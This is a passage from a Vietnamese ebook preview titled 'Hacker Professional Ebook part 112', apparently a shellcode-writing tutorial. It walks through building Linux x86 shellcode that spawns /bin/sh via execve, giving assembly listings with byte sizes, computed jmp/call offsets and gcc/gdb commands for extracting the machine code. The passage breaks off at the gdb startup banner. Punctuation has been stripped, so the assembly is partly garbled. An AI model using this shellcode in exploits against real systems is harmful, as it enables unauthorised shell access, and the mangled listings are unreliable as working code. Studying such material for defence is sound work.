TAILIEUCHUNG - Hacker Professional Ebook part 112

Tham khảo tài liệu 'hacker professional ebook part 112', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | e copy địa chỉ của chuổi bin sh vào thanh ghi ECX f copy địa chỉ của null dài 1 word vào thanh ghi EDX g gọi ngắt 0x80 h copy 0x1 vào thanh ghi EAX i copy 0x0 vào thanh ghi EBX j gọi ngắt 0x80 Shellcode sẽ có dạng như sau jmp offset-to-call 2 bytes popl esi 1 byte movl esi array-offset esi 3 bytes movb 0x0 nullbyteoffset esi 4 bytes movl 0x0 null-offset esi 7 bytes movl 0xb eax 5 bytes movl esi ebx 2 bytes leal array-offset esi ecx 3 bytes leal null-offset esi edx 3 bytes int 0x80 2 bytes movl 0x1 eax 5 bytes movl 0x0 ebx 5 bytes int 0x80 2 bytes call offset-to-popl 5 bytes bin sh string goes here. -------------------------------------------------------------- Tính toán các offsets từ jmp đến call từ call đến popl từ địa chỉ của chuổi đến mảng và từ địa chỉ của chuổi đến word null chúng ta sẽ có shellcode thật sự jmp 0x26 2 bytes popl esi 1 byte movl esi 0x8 esi 3 bytes movb 0x0 0x7 esi 4 bytes movl 0x0 0xc esi 7 bytes movl 0xb eax 5 bytes movl esi ebx 2 bytes leal 0x8 esi ecx 3 bytes leal 0xc esi edx 3 bytes int 0x80 2 bytes movl 0x1 eax 5 bytes movl 0x0 ebx 5 bytes int 0x80 2 bytes call -0x2b 5 bytes .string bin sh 8 bytes ---------------------------------------------------------- Để biết mã máy của các lệnh hợp ngữ trên ở dạng hexa bạn cần compile và gdb shellcodeasm void main asm jmp 0x2a 3 bytes popl esi 1 byte movl esi 0x8 esi 3 bytes movb 0x0 0x7 esi 4 bytes movl 0x0 0xc esi 7 bytes movl 0xb eax 5 bytes movl esi ebx 2 bytes leal 0x8 esi ecx 3 bytes leal 0xc esi edx 3 bytes int 0x80 2 bytes movl 0x1 eax 5 bytes movl 0x0 ebx 5 bytes int 0x80 2 bytes call -0x2f 5 bytes .string bin sh 8 bytes dt@localhost vicki gcc -o shellcodeasm -g -ggdb dt@localhost vicki gdb shellcodeasm GNU gdb Linux-Mandrake Copyright 2001 Free Software Foundation Inc. GDB is free software covered by the GNU General Public License and you are welcome to change it and or distribute copies of it under certain conditions. .

Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.